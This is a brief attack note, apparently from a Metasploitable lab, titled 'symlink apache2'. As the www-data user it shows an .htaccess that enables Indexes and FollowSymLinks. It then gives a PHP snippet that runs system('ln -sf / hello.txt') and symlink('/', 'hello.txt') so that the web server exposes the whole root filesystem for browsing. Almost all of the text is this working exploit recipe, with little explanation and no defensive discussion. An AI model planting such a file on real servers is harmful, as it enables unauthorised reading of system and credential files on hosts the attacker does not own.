symlink apache2

Requirement1:

```
www-data@metasploitable:/var/www/test$ cat .htaccess
Options Indexes FollowSymLinks
www-data@metasploitable:/var/www/test$ █
```

Requirement2:

```php
<?php
        # ln -sf : creates a symbolic link and remove existing destination file,
        # eg: hello.txt
        system("ln -sf / hello.txt");

        # Creates a link to root dir so when you access hello.txt, you are
        # browsing the root folder
        symlink("/", "hello.txt");
?>
```
